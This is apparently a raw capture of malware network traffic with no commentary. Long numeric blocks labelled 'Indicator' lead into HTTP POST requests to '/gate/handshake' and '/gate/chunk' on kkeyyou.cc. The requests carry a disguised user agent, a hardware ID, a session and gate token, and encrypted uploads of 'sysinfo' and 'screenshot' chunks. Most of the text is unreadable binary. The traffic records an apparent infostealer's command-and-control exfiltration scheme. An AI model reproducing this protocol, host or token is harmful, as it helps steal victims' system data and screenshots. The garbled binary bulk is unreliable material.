"081961451541332241540810862051172431351951152170810930670530671100942171570230120111050970031322100960751601112390770810930321570170712161570030190371550921951071911181482550342020631310032090270720470100390530410100752372491951031821641950202491340560101950850500701562050732090740261341532112470851071150011130770910241200532250582221261880210520001231751240961170960550781340072492161941490481710040070681241300992021310911981201090200372481341691600472410980492540132411051791192200361491071481390911800661210960551122490851280931181911501870892151592162230372110750530050350001200950181720191701140642182010690011302491352001470521011441600310152152271290562330970281010892281882061622081940082401801281441131262151661420710451250341760752101710701540421710800271311531370030921791080851800560782522231560801952141561880642361231520921460481120801870461960681651310331002052342502522011350311592301261690090581650730252321122042200220832171131471380780791962252480051492150790250091590560751851400060200151042102120130" (Indicator: "080027") "518409215103705408303703300822810302323021710215306217921605414411500217904800516621609413113201214408721905408210025105801500018310016716415107421123617107217515520309815008613315100621907212016518821106704022917906203417220923607102906804917415322716211309910806017819823119309510501914824604304817018909907819317211710613212309705107501315100315903322213513201408514506110417410619417522819611402403719112203213801505316520706917104520218811625021819721118407309018623218702910921306603400022420207902611906902215115915517324816914618117714321007003906815321103915901314612623013502906703013416201908124914307622815201612615320105920906918807319809812715716215921808224123109413400119906510519501711124220623121902009222120709616219216302209820914924719514723117902308410719421824200400505620307201303920806410413114904816607904223611806710904421514106307418412123419820804122903222517701018925207114322917625407220513700120006914722018009512711216020807018307007313925522907516904811121306601407117722806209422622024016" (Indicator: "005056") "012307221703310922008418317819007405401224604401808522225319716712609721616813303705701323721718612804917602800021818125219015120818616514325419515307922613514606419306207419905124205600217416805618707509407812001123209708002703707719007413317513413414216502510716704600009704722510805811111017111505510407106512816010801110619604923613315207317115114011224722024211313704316810524702923409106523417511109920012112207906605018121501009319000814202609216423401007711515116122816116222523601113513324011903506805004203220211505402005625202414217913416001401218808805502419419315716921414123507722800110314217909719115922719422309418322125201800204719503807309410011820408901420010908009015504304604423803808111214924408505824325004001203914224819106605117010915300619200501116323516722520915319410507107411515212500008821818624616222111903802115520513524211818118813310405512017204104516121011602907717616700919314625303414924713114516606314114819908625518002523407307005507916015311607116924410902311705213714604405624005715" (Indicator: "080027") "981121780741660771331661360411052272031502022371140381220370530682260902330752372170351681191891731342142142540460780382380701730451361152512300831461322221951670731981412251241141090570442360661751710251820142380222030570771251530521340102230140800951771422271091860071701931700022232392311631360620121260430020462181250602350050370230021760251680981340982061391781271670760610962521152551312060780800372401980641722281370810810591930771421551652182340472001210981751771880751130922240650131251030351280622060170980711282370721612281042242081601960102191450440670262012100800270861500920761672392542390682541632342401712060830812190630830750571512411751532001422190040480450581341780831170852362110280210082280620130710362180501920231250561851660450742420842062002291061611611750811500041180871242080770381561431962341660422112040562161111501171810871770221952331830280811251580270012140102060632320310790150631372000320840751570491871062181371102360320490921641940810820452192250441152140980870691410071891340311500421380" (Indicator: "080027")5f:Tf6b5,"POST /gate/handshake HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 X-Session: b94915774a538829a16bb9ee164367d2 X-HWID: 4C319440 X-KEX: x25519 Content-Length: 32 Host: kkeyyou.cc" with payload::==> "«8û¥ë^qÇàÅÇ'íÈpù¥;" HTTP/1.1 200 OK Date: Fri 02 Oct 2026 19:27:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=22 cfOrigin;dur=465 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=BM0xNU1hmlVUOs0DWVm2kl2KBOYqBiupKhw8qUR4BydVEegwr9gFbLwCYv91fePIb2uO3WgGnGyh1IDYtDVrZK7t7NkRjwM0EN98LiFCttjoToq0wnwziWSAGBbP"}]} Server: cloudflare CF-RAY: a4461a1c59251761-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B3A31373930393639323230393432373138333030....... "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: sysinfo X-Chunk-Index: 0 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 3125 Host: kkeyyou.cc" with payload::==> "ðÀd42Í+Òé^R+ú3ÙºèI7jKÚû¹ÍÈÉ;~]ÓWChRÁ?â,Ò¥$M¿×»-3@y¨W¦¬ÏÑ"ÕEtù±ºÅX|À@øk)va0üXÉ<ì9Oâ§LÄµ~üX´jD1½6Êêñ"¼o½5ºtÅ)rö7~ÑQéâx2% $JBÇu#hÌâåa'(á~À¤¯.1¬2½º=5M )OMj[é¤¶õÆÑÔ3SGÁÚw¬£¸/1 ¹rhE*`,é¿;ÎóýíÂlä-^,Ð<~¸¾¿kTSZgþ¶uhó]©·¬§ïoHQê¦m¯úÉÓ¾A°Ìí ÕáûKI§ÏÄýµJ;¸|W¯Rºï®©ù£+_ÝfµæïäÃøL;ÉKRxRÖV<É¤M\µvµF#ù¯ ¨OsQJÚy«ÿ«EÊbî§ãÑEÃ<&[®%j) aÌúø3ðéZvES¿ýtÏ}´]Üà$2;@Â=óÅfcÐ_1Ä× u»Ê\@óLÅ9Ïª£}1EôÇÑOúÐ2\Ð}»f(¢öËg^LãÉçÜRk³0òW3¿w÷]ÁÚ¥@/Ý¡2Þº´QD@Ö}¡Ltw´·wtÿµcÍ&øý9>Ñ5Úqþ]+µËGxTÙ>íÖÄ±ûMÆÛ©)p¤"So~Â_JÜßä~ë¯. p~94z¾ÏmúF½'6@4Ú:ÐZyO93³ÚOâ]üáK$±ì9avþ÷e`.ÚîzÎM£ûÞ(»zKÎ+1Vaø7:kÌ§öv5´Î@Üøw<1ýs@7Á½pLÒÓ6éðv/@§_&Öû¢>CÀsí¾0ÏÛDöäSqß_=Maº·`÷«Â¸Ñqq]°Ó%Þyô·c¯¸¿céé4¬æÀDkª½±m9láÒù)Æ;ýG¶ø*ÚÌã/¨\Oý_ûàÂ=:¦)Äþ`vÔ¾·Ì7¡Í[î+ôõKÛUÆvÐè¼UYMý²9o°sùQ¯ôdÁf°äÄL¹%¸¨9Þ#¸h#Y5¨ìf)+¬ùÀã;±ýImo"&Õ4}-p½møF7¶Î¹T7Í¡<º¬Ä8d,,N3È÷¢§%äbúw¼Æ^ïußN¼`VÁñ«PYËÎgÚÛÓâ%j=qS¥4¢r³©õO>¡;¬nK7¥wiÊÕíúZË7@¯¦æÅël{ñÛ3.Ñþbªº.ÌO£ c#¾ Äu+Në½óÚÅÑ·Ýè>¦ÍÖRa´WÜ5g$èo&¡AI?æÜùÌåü·Ho£$.¾úbïýX)Ò(ý-5{}²u7-´¢w4r&¢w;iN±Gy|cßrË¬¼Ðkó!& õãÃcV|Ðyj¡¶Osþ};U¿ë÷ÊlM^ÚÅøÁ¾RøÊüÕìtµÿ>t?Úð°³ª¬Nª`´©û=VúRrªá*gÝuztÐ>ÅÊÃ;^OÙä'Ö{çzOñü§7Ý_¿u']§Xu¶pè¤U"¸æ¥bpÔ{A¡þ(âØÂp¹¥¿[.UÜÂPPeØX*'YÀÉL»Õþ÷¸_ãM)øXb·$1L¿O)ÐìõLÕï(È^Oj~îÆ¼ÚnýÀ0¤ãSÖ¡)¡¨äÿX3å/ ¶´Ðhø¿æ~CF´cL[iq· 8Kãjæ-5s*93Õ&ÇÝt±ÕuBê¢4v=Ih_nó×´±§$(boTø|ÞöwªM(ew£bï/ÕoÀ?¨´¿ô-ÝÔÇí9Ã¦½6x-oTçå)q¼À²TôVîÌÉÆ[O¡è*º)ÔÚHïÓÉëùî(/¥iÖntAØAPôP9Ë6voéqò®r?Y×ÖàòÊêÒ^òUn·¸j=O¼löå#Ï>V¢®þ}=}È`*Ó®»À8:L¸þ]_±B!k<êÈöø½êùÖcðG²W.öÃÏßP-Ðè ÒáïSÍ Ïmí5u¹Øiu`ëqÊøé0}§>éÝzÓ(Çü¥ÆîôåJ£¤»£>ñ/·¶÷Ûøù½DH$v]åg^]5BÒbËüÕ{àmpGP²â?zh«6«À>ùr0qû²¢º·Ã/Òï 4²r%ãè7+L-1üÎËÐ¢ÿÛwiH¹s¨{ÞqkR{ÐQÀ1$º%ø\$åæó+]+õ{.³åº¨"]ÂþªYû£FaP»ÂíÓ¥ï3}Å`0î>f®{IcÆ÷Ü¨qô)¿êuÇIÉóRÈnÓçáXµc`ËhNÇ2ä²Ì"¹xz×Y°¶E6 7¨>45óç0=x§ôv£ét,è8ZnEFÕ®3Ôò»Þµ(D»hN¤-sÛëÈU/4ç}{_HZç\Ý.*±{X»óctV¬¤ô§Fì1ÀRzðÇÅ_5Äj Cÿ×ox)g~º£#!çå+`:dðÔÒuÆ.`T¹Q¤ðO;Z2UVYÛ¹{éµ²HÎzt¼ym0â&nñ$æW{§_¶øIYÃOÇÛR7U ÛãdÎ?é¸C_àn¤4¯kÃ©=T«|»ëT69OßëÊ¥×)v&æ/}Ùwr¤Yßî{·Bëëå©M!§ðÒ=À-Ù÷1RÁO*&RÝïhÖ£;C_Ddäuóã¿ýct"¦v5V´ UY¸§][ëKlEªÓì] Z" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=23,cfOrigin;dur=482 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=QKYO6ma6zgkR2VeU1W8e22Q9BlEgJBcSEsVDABsujLTqo3i%2BsX9JelUsOET3n2WJ%2FyMM453sUcSbI4KZiFKNDSvcqG6wI05kFIBYy%2FIdAtFmvVEKIOEbyYScw4Hv"}]} Server: cloudflare CF-RAY: a4461a20fad61761-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B......., "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: screenshot X-Chunk-Index: 1 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 37734 Host: kkeyyou.cc" with payload::==> "&Õu÷ÅØåT2¡ýì7ÂUnCµåVg°÷JwÅ§-j¥òVÀ¯O¸yþàýßK·¦EY$HLlå$aÀäÝËöÊCð³µÄ<£] wé>hoùDY²aÄ&A¹R_ñ`:¢uW´f:où0ÿNíÓëRpþ72õ¥ÍgKþ=0þtùevöDG¦ÔÚ|uRÄ«.¦NRq´Lä«&o³i+¾Ë_®ìTªµ -fNHàªÆ.ñØbx·'^zÃ%Ò¥+Iµoy5gJÙ:éNw:S@5Â¯ô¾§Ú3ÏÓK)1GjÆÔynTZý³Õ F¢ä^ÕÌÚôËïßLV<¥óÂþ¬÷ìêõ5×Ëûvg¡jþ]ãsH©gð¦*a4B-"¼q1íZbþ#-Km, uûÎNWó®öúæäõÔ¤ý©?tÝ0½;hV(]ï|HtZ¶.ÏY~¢IÂfJf=©äZÐÐ|5EE±ËõÒBuÍG*IÊT?.²O¢;$jôEÐüòôÌíz¯-Ú¼_Ë¾7E¼+âYü2_HVïûÐç)Ü46¶AXÂ«ã¨FÎInérùÀ[ã*ÍYAxÙUÔÌ?^+$V8=ºõÆËò)£Ær²_ïÛ?çy362UÍ6]c$Kð f®,0§qÕ^Ûæ4¬<3KvÂPGtAþ}çýë98QVdSK=f%_H×^\¢q-uu/ðmßPàÁ:1Ò¤bÝî§ê <¿Dßé_½ëEÒÃÂ©Mãþ~A»ööñ_Râ(i÷¢â@5«Û ¨sZ#ðAvP@p¼ûÌSenPqky¿GÖ8»É0O#`½M$ï\?"«·ªq¡°ìóVîn°sÌÜÛ|(|^ßNûúHDèp9¡N®·µÌþngÑeÀþw:ë½hµép{Þ¥¼z¡øêXÎÏ6ZÕ+a¾!sµBË@m{7(æõ-ÝZzÏuöâSþEÌ®à´ÜCÙ¤·ÐË¥Îð0¢Óeí¼À£S0_W¼íi¶ðM[©pÆÏÒ§;×}QB¥k_·Lò¯ô~aHbÂóÆdKý2^»ÉàFEÅÿkS«_¨QuÛMGçô(ßïÚYVðdy²DiJ-×"Ö®P¡°ÓÞGdéÛînûÏï CT^Í[lzeM78Æ3ë-)ljaKÛºÛÞ¯/q¢nà¦HÔw{æÆòõ¤1M'âûÌo%1N£÷¾»5wmäm)LÕaõ":ÕòHa³¤Ì)Ü{?|Ä`ÝT,æcµM¬Õ0¼HÉÍ±"ã%Æ¡`{Ä:ÙÂ0Ëw¤RSE3@*jØN {æ¬ñßy*º=:FdPóVÁe8jújX©W^oìïwêX·×¬´zA«dWúrå t>"¸ÅAnàlK¼ûÄÎ¿ãàË.<ÁÐ³Æ¹¾L£G§ò¯Íø8ÏóCÛYÑÏsîõkP7®Sºðà3é_gÒÇ)qNH Ãúrn.Úü6ë5;6ÝX1î$ÐÐzMÁ»(jëÙUö¤rÂ/©ã\C¸T&nàþfm½ÌÝf#ß'ÍqÒp»MÇ È{çL.~úçê×ÑËèÿÓÀÛyÖÌÁoÎWùÂ¯`Hî>N·çý¿!©¿ðÄ ãºH¶|+lYêrLø¹¼0ø¿rÆëÖTDE7mRKË¾õY(òEÉ&ûÕàq¯ïÒCAbã.Þê¼ë¨Éuµj¤«È~Ws(ð«ªWÁmnºåy²uEñz·V«³cÏ¯Wé94KM£ûá±ôrabÑi¸N$30bôÎdÎ=×}ÝÔ«yé²ðkº¸@âY;%-7QzqÜ^©ûÚg;A@ßþuÒhÂ&P£ÕËü¼!@{R2«Ðø§®ÉþUe?~5¶z¬Os¼Ö6°JVJÆ35/¨Qx¬9ôi£±(º¦_J1dêßx]rÓdjó}ú³$"De3qðÒar1ååã+¦çÎL/8§?ôi¦Y"tSÖ¢3=ÀÖBäÑ~$ào¼qäË%Ì:ëÁHÆö¨j26²YKVww"(s"ñ¬¿d¶Hõ\½}/liÌ¯Q¸µÀQyÍ¦ÓÏÊ'ï³ìÁ@Ç`²´[ ora_N¨v¥¯bÂ{ËSE`<¶$m(T_/ÎtuÏöq,º½é|Û Þ{öa@äZÒ¡Mçû¹\4î&áÆmõr²7º?ôÀ@¶®>Np÷©äh¬ç}Ââî§[ñ~°ézÑ{ÜGÀ¤hÉ§k·^lQ)S{gûfcG©ÏÈ_·%püðãv²F»;Ë¥¿/9ù>þ=3YþEQFÀt¦¢[a}!½Æ3Jx£6¥©JÀëKìÆ±µìF+Öëãy3zs#"a P<ñõ Tÿ!Â .kie(¦FòÉcñã ÂaÏä·¹Éx-ø`?äì³Ñ«À§0E»ÄÍ(uè%Ô³kùªô?¹®T±íÀÅlüZçi\9U990d³÷géAj¸ìøúýaÖIaÄ¿sf&?M¼YÍ27×fQáFXß[ÑT5¡ÿÈ&:ZgÓº|¤zDo&4yGiÄÉi:7EÝoóÖ}¿½ïïó¨uUýà\xàg`2)+BU@Ü²ß)c2>½Ã>Ú9ôUnÜÓmjô&¦¨Ký#ÈÊzSoDU4«cDûd;·òóz9Øü/S!:¯a3`:°Þ¯K=åH¡ôtlê¹ü$_É¹óîpÏ³¼)q)vòÅ½A§Düå%6öG¸Ã^,º»ÊYk$J"ÃaÐPÚ¯hû|]\8b¢B*¦`þÜ½ê.2#Ôée¬:; wu×ÜúóBöi¼Z9k7è-äÿJôï=´º_¾y ÕBÿê¡®v|Ô³àXÄø×®õÖ¥^4½hw!·Ûáõ ëIá]`uú×æ§OÃúO]gÍÃð}];ö\¿Ñ~á}kÒ·]bÏÛ³é;´Esÿqú¼zÆó oÂ)X ÕéàÅ¿oRæeækoT· » /øD;O»KKöwOr*EÄÛxåySß¼£>ó'e4Ï¸oµâyâxðT=Ö}].ÀZºóLJËt*t¢õrä3[TZ¡Ç XyðÀÕÏà½þñÞèÞüÁC§Qÿ~^»Â-T³,&w d§A·e³á!ÿçî¸ÿûßJàþãè©ç§¡Ø=ôÖ"¿¤jL~»³Ij)nÍê®Oob§å ?LöTÑeÇ|`ûÛ(äúHmÍ»Ïk·ë§2Á½xØÙV+H!'ñªÚS>ßqTÍã¨\L£÷K3J)ÝV¾;ÞLònP0@z5ÿ|Ñ\¹6\¤óâ ìÃÃìå¬¬HÙ>!eíA×²Ä¤ìÍ:¹Þ¡gº×/$er¤Å²³J°'Ï+Ú("ó\ð¥ßâN.b[~ï¾9U°=îV6v~KG¢Oè=hÛ½l¾mÁsÀíæ Î©0¤ 8Û9GO¢Û_PþÕZÏiËPì7UÏSuÑ=dw¿÷u³ÓÕJå<®¸^wØcvT8üû.5RÀWÀ}¤8Áw¨ý*,L§3Cø¦ý${"°Ýà¥Â×Cfá× nsv=ÉBÊCvzúÓP8ð:§tê#Krãy`¦lË»Z8_>Á¦ßWÞ:äã$%ýéå½scs"·éK@6îQr?_¤R´õÔ«ÂèpdGòÌêvax[ÞÒP35å*ï7îÚbú2©$·÷aOôóµñ2é¨/ZaDq³co_ZN[^¬´jÉ¶E°ÄF~0ÿäfSÄ?íRËEzÙöBÚ#÷ûó\3ÏýX8,¢uÊ©ëñiOâxa®Z£!ïÈá!o»Ø$§^ÌÁqÂÖ?~§ÉDbþr¼²f*3)â¸Uà~ýjb.Ûè±#A¥\ßpýJ-ì0rv»F:K^Èù>[¦@4×N°Í!òê*Kßïp_f,µèd¼ÎÒà¼íã¯|îôN(¹M¦xNâ5¢{Ê=¥v|-ÕqS9°¹9½²Ãz/©`ã¥ê3îNÐ¦K¬ßOÓ¥ñ.C+%ß®KÿB\ÎêìÿsÈr!qBÑË5·X|p_=§JaýáþÙçØT-a]OM£-©Ì¯HzyåQ§EßsVÆ©,kýlN?¹J:©>²ziE¸/Èq£úZäub0Õøýd»Ûc|ÝßúÑÑî<'+{%ûcîÞé}1@'éJ$m¸°P/"k`×w(ÙÀ>¶ZnÚ2úéç-k«V"¶CÌÂWÔ-_ØÉÜÔ,.´=.^ló(éý¶øÛUy÷oHYÃÈíUMî1^S4r\§Y´Ð×sF»°1£Ã)ælÑ¿Õb^xÏ(â±÷Có¿(/ïkc¤juÛ¤:òÍm/vætêZõAÔ¿¥¤Oh}]»îUÈôQ½")¤WÁ[Yàï ¼ÌÑÛ)s¯øÃ(=y^18jGü}7w¡æÛøeÔåz~M£í¦hØj?¦dË¨Õ\ÕÖQ^_qØàµRöòp¾¦l<¸#bÒDQ¬@Ô¸CvÀ}Yàñu5µ´3Srâ²rºÖÖ²©+ë,RSÆæÁóÉjÀÃµg ?g£fý×QòÓÂBÈãÌ¾£w_ú'7Y&JÜçï°À ¯7U0Æxk<©AiJurÁ©C6}Aæ?áWTîPK!ÊKmÏ9:ó»±I´£{ZÃ~·,µ^T¢ÊûW8Yåã©ú(f\JÞ72+|$3³4ÕEó¥ÄÛÕ¶ðÂubø{L¨£rýÞ¶fè®¾;5×:ÊTMiÖÀÓú(ù,{û³×ªï<¿¼Qà¼+Ä°§`8!ÞðÓq±FÍÂ²¾ßÔÀArÉÜQØ}ËË÷(ª¹;8ØÆøý© sÖC+&ÇôÊ_wRQnaëØ¤GÞÒ8\R}oä%lañ ÜØç°ÝcWÛ¥øI|Î(SjöÇ§Â"¸ fP\¼*×ÃÕïqºÝ)ùô=ÀÁ_1E]`2ÿrÜp!³>46qÜ÷¿ßÂE`79?íã`vÈVg¯ÌõJ BAè03I£³N§Ð'Sùàtò`á^¯M^cÒ/m¢`ú;B²±Sqúò*Ça{ªëz8åÊÐî#¸ÿMq)`uè ì²÷^_â¼Ú\Ìî MïnT¶SïÌ5ëxùäÌQ:f¤ÂX<ª.z)Y_ý(P§ÂtùQX²Zu ªNSQÎ67÷7K8zGak[~²%õU3#C×86Ë/éKïb¢qÇ18ÚsÔV\}^Ãâay÷)T)qo?-¨¡,,²Mjý¤JôZ-¹«r§tT¢5ªe8PAD5ªÍJÈ¥zGÈäHÇÚê¶RîÔ@ÎETDgbìQÄïÈr®u§¿rGñ6Ìëmà8&yëõê-g;B|G)ìüZm×ÂÄ0±t8ùJ<Ü#(MF¥3äWÔµ±´Ü]I@ì©TvÙ0Ùá¡ª/û±¡ëIù¡ZÞËóU±£Ô?Ø¸H?[iªð§÷{Åghh©ÉÒXá¬YäqU®2àS4·à2Â¾S"×Þð@Æùí@ßY Kê!ÿNï[zÏÂ4¶AÇí¢`¨Ïø`Ö£,3-ñÏÚ:àî¨ ª;;ßÔ»\à¹ð[ouBã~÷V¤cY¢ß@É©Í(Ü`ËpO3UÂÉìn¶*C/ÎD<:N'FO8ØvæÄÉ#ÝJÔ#vjÓ ÅÄyæù£Ðâ"1ë%QÚ:ß[ïr½³-Îm!ãôO1ðPDþëã´Ý%M¹è/þ*Bº»¸?&¶ý¦×¾÷ú1XÍå ½ÍÇ¨>V_r1j"§¶UájæÓzíDj¿P;H±SÂ¡dß'Kþ½÷¿¨ÄñÝ±Ì¨Ób¹vÊÀ:¥$íç3t£q³Ò¢ÅævÀõæDë¨q/.lÒvò´¯Z|'Dÿù7x9»F¿ùãÚ-1÷¬ÛÞ¸ç£KyE´SÍ Ñ[TUmìkg»c8©N.~%ÒLXùéßIOK!`øvo0jç Ðx]óLè8¨]?äù`V'd;0ÛÆ\ZT`þ«º?°¨IõLä»¤?=ÿWÃFÝlÕ]P9Ä¦¯~dªú¬,þò×J©ÁÀ£îè£æõ¡xbsäÉþ¡¡¥?t ü*Óh»zÊèó*@Æy\Äø:ðØ¶(|ëéqí¡ÁlªË.KA0¹¯A9ú-Ù[b,4«¦7 ªowéñÓ×ÝJXO¾#Ûõæo½ÍÚ0!ÙIÓÑÇ}°xöU¨¬tVÕÓï¿.5°íO(?Þ-ù¤+ü°È7U°(n>ÞëºD7´å5¬V!'×]MfØ¼(s|ûµQ2þvJ"KU0Ú%u÷FÁ&3$6ÑÂªæÅ%SÈæåÙ_08%KIz÷bÿ&,_wb¯Nð/1«ÑëÙ|u,AÖAþ{H>uymÃ¼\µ%íÜTø@ZÖÂ¤mª6Ôe9bÎ½r]Ë(©ó³Ï(sk>øà#¡-Ö[RÍÕuëXµÉ³ê5äD.r¥u^ðZÞ´6'tÀá_êqúÉa±¼¾Â|SÇòQóLòH¬ùDK]9ÐÄ$é6ÔÁò¯ÛöÍ%}êo¯)}åwÍx&%Å¤;òuÝXEÑP½Å:FC:¬ú÷õçãU.èÒG]"Xº4Ù.ýSgÚI)øôá»ÕóÆ± ²µÜ/OÁ¸iRðjÕýÏÿø§s×<)ãÝ W½8«DO*gé]>ª³þñÿº¬Ô·S{òÝèpH×ï«4¿¢¥'9(Çw¸kã¬éôgR-nþ4ààÏUSLÒ-*½ÑTNI]ÅiHK@ò8Vn¡u2pþV`:Mb>ÎG$ø¯ÐX4¬îÚD8òrVcôÖP¤tN´·#$=[#etË¾j&C4¾^¡äê]âLf±23s²ÑÑÑÿ{9>FIÁÿÑ·ëöÄ¹m(¶¼ÕÔÊ^Ïdÿ¤PÙ$DOxKAUAµWéþt5¼jXX·6Ø9Ä-&×éMºÁ¢Ty{ªW¼àÌêÂécÀ:ãR¥8ºõ2Ô>KÝö¯ l@ÉnèïÆ@lTU¥;ªà´[P2WV$]ëÓaoÃdYÞlÃGñucçIï38»{Ý×GôÁH´êøÈ6°ÞV'õ²§úF>{D]t£%±86gÔÊ(Â»Ð£>XÅün[Ô>ÓøEu'º6K4è|qiì]ÁQæTpæp5Åw¶ÄósC»E´þ°Hl·nsm®lcyÀ¥Æl4Å}¶G×öPÝ*ÙùÍ÷O´ýo0þ¿îä 2a3³1Ò¦B½Ecê<¡fÝ\×åU®ìÄÞûíq8m¿´8àCÎ-÷yöUþn|Ã¸£¡?Zßå%R+ìÎ©ÂR ÌFÁ'ò%î¥úbú¤©±eóæ|LêEÎûc6³_ÉÜM[;åpß®j(¨Y]»HÕ»®ØªÈU·O7$b¾ñ¬8)Õ¥ÌRÿiÇÝ\ÇÔÀ=u5d^*ç"Ic1G U÷DøT>«{Ýo*g(5Ù¤(²ÓäðÃ©1ì¼EZIJ`Òmû³¹ÞdöÂ@ÀK+uÃk_uöT£¡5à<Îö?¸|Ú2Êñ%efÃ¡bÿGrèA²¼H¢(`n3.V>Äu|ñTÈ%¸íH´ãÄ¦ýãêØ2«âù¥qëÈBùìeU]{# JñàéÉST"¤NvEWëjÖÄ;dé!÷äÝ`|8³zsÌ×l>Ý£ýÎ¹~ytãúM0R;¸NzÀi¤Èì¬0ÐéÅòà\"õWíwQ2uâ èøEyl¢ßBOò¡Ç²ã==Y|í]9ÙµîbvT9PÂw:ÍmsæÄ7°NÇ[ 3¼Æ3¹lkeu¦ÃÖ'ü@¦¾=jàM\íx'Âòc{Èæg?;ãN¶Õ¼C#ÔU0 Pu}÷/:ïÎÑ¯d^©!2¶Ø.K"¸A¦oçéÍ«`î«ÏLV²Wú\®isòþ2$TN½Ú)ÒÂº£Óá}Ü¨H¨$'ÏðHù(ÙyæÐèµÊÏ×f·èFë?;â(Pûüóýý¯uMÇå #ðYÖªk+nuv¹ÄçýË-®ÀýÓ¼5í:7½ýqµcU6W°EF£5Ë¿\º¦ÚÇ9$í®pÁªÑO.Vae+÷áSÄhïÛ>mO©LÉ¬¶}½^Hèåük~µ¸iCTZ%urº¦ûL®{qð'/USÍX#äßÖ3óð@uàúmC&þz \¾ôvPC¶6ÍÔ²ûù¸TC8¶¡¦@®ö4¤V!»ýO¶¤ürªÏ°¸nÈdÑ2à§&ÁGÆ¬G®ÓÓD)×M3]Á¯\ÈIæÑÇéî¤|¾OõâLòVâÃ½¹¤½Þfs:´:½;6¢w¥æÍjå4Óryé=(ÂTø3ÃMÎA9b°Ð\^Ð»ÿðÙMëº3,;ÖÅt®£3#";ÆFâÁn²:¬MäHOßwôQ86~WÓþ ¤w>øl¿$CGfª]ÓRBßL|`Êa¥å'³6´"BòôS@ÒtÂÅÕIGÄmÀ}tiá4mùæ(êË}±_4ª]?´(8Ì÷8W¥t¾äx¢|)¡ÈÇzs3ÃÍUÅÏû¾¶¶2¤s¼¼x·´$¨-;÷bkZ#Ê\þKâåÚÕ¬V¢úGp®ÔÒÂ-r bD9 ôÂóAma«yÚIáGðRë*õÐ©ôù°T}>GÅvÁOéfr°¾APÔí¿é¨-ZJêC}=sQ³©Ã$Â½²Øv_dÆÊ)"VÂ¢â·õè:XD2AzÉÏÔ4äþô;ïÚÍCÍi²èªÎVp¹JÑÇ?#ôCïÒ¥KÛÜ¹Æ³jõ·ÿÖ÷t1+¥dq*ÔºÔÿ¦Pó÷]æÍLA0//ÅåëÚóL-l×YtK¿¢AÚªíb¡¯A¾G?¿ôG×eÙÌ+SP¢CÌ:N¨h#Þ8VïUÞgì>áS*¶"8ÀTÌ£¤12FÞ?ÅMæUò¡¶Ã6iÊÅã=_¾Ô{Ñ~Ú.áêß(nYºÜyÀY£uì¥ÝlÃèÓB"³ì`#±Çp_ýô"Â¨Ðãrôñ01óÝµð^W8Òij±§ÛN$i5}T!jìµ6ÂByÌtï27ÄíÙBuÃüéÔúiÁ;Ë×ÜYö!0ºÃÒ}æFD4åú(øU,èÄk×âø?Û«¿eè¤mUÃçyÝEiæn7/.~Dýó¨ÐIlS-U0ÌÙ±¢V¡ëËTZwCN¬×Ê¾Èë#¤p÷1¢ÈU6;?A|?¿×ü?§¨èâå®AÕôähÉH¨!Î¼ g6]Sû8ýRï¹QIÜÐru·ÎÝhîdd/z§ËÝ6£[Æå$&±=¿)]%õîN:b1; ¡Mh º'Ü9\°[ÊÔò*PÜí¥ºéâÆ£¾@A)9¹:|aHÛ|ÎÀ{º;dMïê+ÿ51]}3%g=Â+´¡MM]¬ÕZ5ÿXüt.amhHùðz>^ÜøOæ;&)J ^¶gr%´óÁq.PÒ"¸z<}·µÂ3½HõDÜ"2Ûýí(ÖªU{2'8.Zø83^eÍ&Ôxå%v Wxy2ðÓ!·fLi&%)d¬WÒÿû&o¤äøÓ÷-E²Ï°60Ý#QÚö&½DÍ#NOÍ\ÁWàãgÚv¬fgFnôû@ö3«¥<²@Kw&èA ¼ÛÀè+ìØZâ]K¤ù\G´'¿ÁZîYK!dò?!È^l"Î?"Ê· K^ó~ø_÷?WgÓdEDYid´3MkA§ðÜ-8þ¬5¯³½ÁÓ8ñ:cÂ{(àZ#Ê{é&1û{v¾È/½mç,Fåµf,óÕ[¿yÒ_ó-¼4NQ~^WOvª¡ Ío1à½þáñN1µ³IÌrJ)ÆRsOuodòOÿ¦Q¥âÞÌÝÀ§©+c"0¶µ³×þX°¿î(Ã×a6·]«öÛ å\É\ûAì®¹V4Dý®ùäÖß&)/!Ðê^d¿8B-ÓÝ{§¬ß§qÇïd¨ÛOEKt³TK!ãÅuÁ¼yéÝõ)ÜªÄk°#ÅÊâ«:óN5×)wµÞ£ 5üø²e!0g3àL½åZ0µuL2fRúª/C-aÇIä$`=SÏò2~b£á´N¼«O<º2Íkä2ëlûf]6ñFLË1/NºíoªvÆIlíÖôFÈÖÀÔù>40¹~;Qò_×5Rò|íýskò/÷TûUqK×B²K¿r×Îì±búß³U#×¥óÍ4\åè~'þzíÛ´M\ÿ¬m»p÷»;_R@@Ëu¢Õ(Ç0Ì_}N¤.Ýzi?GÃjæÕV)Qo 